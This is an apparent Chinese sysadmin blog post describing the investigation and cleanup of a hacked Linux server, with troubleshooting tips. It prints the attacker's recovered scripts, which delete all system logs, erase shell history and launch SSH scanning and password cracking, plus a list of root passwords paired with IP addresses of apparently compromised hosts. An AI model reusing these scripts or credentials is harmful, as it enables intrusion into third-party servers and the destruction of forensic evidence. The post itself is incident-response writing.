记一次服务被黑处理过程

  简单描述

  今天早上收到老大发的一封邮件 说一台服务器被攻击了
  邮件内容展示下 = - =
  简单的介绍下服务器的用途
  这台服务器的IP地址原本是客户测试BGP用的一个地址,客户测试的时候曾经遭受过攻击,后来客户测试结束 我们就用做监控系统(smokeping)用了
 

处理过程

  登陆服务器之后先确认流量收发是否正常
  发现流量确实异常流量发送890G 接收1.6T
  然后查看服务器登陆信息,只有root用户在登陆
  查看端口信息。。。。。被惊到了下巴!整整两页....
  查看防火墙 发现防火墙未启用 cnsre.cn|cnsre.cn
  赶紧加端口启用防火墙
  查看历史命令发现被删除
  iftop查看实时流量 好像没用
  查看下端口被占用的进程
  netstat -pan 查看进程 发现进程名为./update的
  pstree 查看进程
  通过进程号查看文件路径
  查看文件
  给他个权限(皮一下嘿嘿)
  杀掉进程,然后从新查看会不会在启动
(一般的如果没有找到木马路径的话不要先删除,因为一旦删除了就无法找到根源)
  这个文件是没有权限了但是如果在黑进来怎么办呢
 
  查看端口时发现还有用户在登陆
  查看正在登陆的用户
  然后给仔细一看 发现用户名是nologin!!!坏得很。。给他来个套餐
  修改passwd 文件
  然后在看下实时流量
  确实没了流量了,事情干完了,看看文件吧
 
[root@localhost .shadow]# more  1
#!/bin/bash
B=$1
while read line; do
dup=$(echo $line |cut -d " " -f 1)
if [ $dup ] ; then
if [ $dup == DUP ] ; then
ip=$(echo $line |cut -d ":" -f 3)
 echo "$ip" >>dup.txt
fi
fi
done < $B

 

 
[root@localhost .shadow]# more  2
#!/bin/bash
B=$1
while read line; do
cat vuln.txt |grep -v "$line" >>vuln1.txt
mv vuln1.txt vuln.txt
sleep 1
done < $B

 

 
[root@localhost .shadow]# more  vuln.txt 
root:Abc123456:115.220.1.149
root:Admin@123:116.228.230.110
root:firewall:116.228.80.117
root:firewall:116.228.80.114
root:firewall:116.228.80.115
root:firewall:116.228.80.116
root:admin123:116.228.245.98

 

[root@localhost .shadow]# more  go 
#!/bin/bash
 
echo "$(ls /var/log/)">cleanlist
while read line
do
rm -rf /var/log/$line
touch /var/log/$line
done < cleanlist
green='\E[32;40m'
col=( '\E[31;40m' '\E[32;40m' '\E[33;40m' '\E[34;40m' '\E[35;40m' '\E[36;40m' '\E[37;40m' )
echo -e "$green [SSH] LOADING ...."
echo -e ""
sleep 2
cat motd
echo "[SSH] Scanning $1 for open ssh ips."
./class 22 -a $1 -i em1 -s 10
cat bios.txt |sort | uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`
echo -e "[SSH] Found $oopsnr2 ip's"
echo "[SSH] Cracking started"
./update 1500
rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r ;
echo "$(ls /var/log/)">cleanlist
while read line
do
rm -rf /var/log/$line
touch /var/log/$line
done < cleanlist
sleep 5
./clean
# end of file 

 

 
[root@localhost .shadow]# more  vuln.txt 
root:Abc123456:115.220.1.149
root:Admin@123:116.228.230.110
root:firewall:116.228.80.117
root:firewall:116.228.80.114
root:firewall:116.228.80.115
root:firewall:116.228.80.116
root:admin123:116.228.245.98

 

 
观察一个小时
 
Q:发现一个病毒文件你删了他又自动创建怎么解决?
A:1、之前遇到过linux服务器流量莫名其妙的剧增,用iftop查看有连接外网的情况。针对这种情况一般重点查看netstat连接的外网ip和端口。
用lsof -p pid可以查看到具体是那些进程,rm -rf后不到一分钟就自动生成了,由此推断是某个母进程产生的这些文件。所以找到母进程就是找到罪魁祸首
  2、查杀病毒最好断掉外网访问,还好是内网服务器,可以通过内网访问。断了内网,病毒就失去外联的能力,杀掉它就容易的多。怎么找到呢,找了半天也没有看到蛛丝马迹,没办法只有ps axu一个个排查
  3、方法是查看可以的用户和和系统相似而又不是的冒牌货,但是才删掉了文件又自动复活
  4、利用iftop,ps,netstat,chattr,lsof,pstree这些工具,最后找了源文件,删除掉最后才解决。

问题总结

1、遇到这种问题,如果不是太严重,尽量不要重装系统
2、一般就是先断外网
3、中毒之后一般机器cpu、内存使用率会比较高,机器向外发包等异常情况。top 命令找到cpu使用率最高的进程
4、利用iftop,ps,netstat,chattr,lsof,pstree这些工具仔细排查,当然也有一些会伪装的,简单的说就是把你的iftop,netstat,lsof这些命令替换掉,这个就要你仔细观察了
5、找到病毒 ps aux 找到病毒文件位置 rm -f 命令删除病毒文件,即使删除病毒文件不排除有潜伏病毒
6、检查计划任务、开机启动项和病毒文件目录有无其他可以文件等
7、如果遇到诸如此类的问题 /boot/efi/EFI/redhat/grub.efi: Heuristics.Broken.Executable FOUND,个人觉得就要重装系统了

 

 
posted @ 2020-06-12 11:35  SRE运维博客  阅读(488)  评论(0编辑  收藏  举报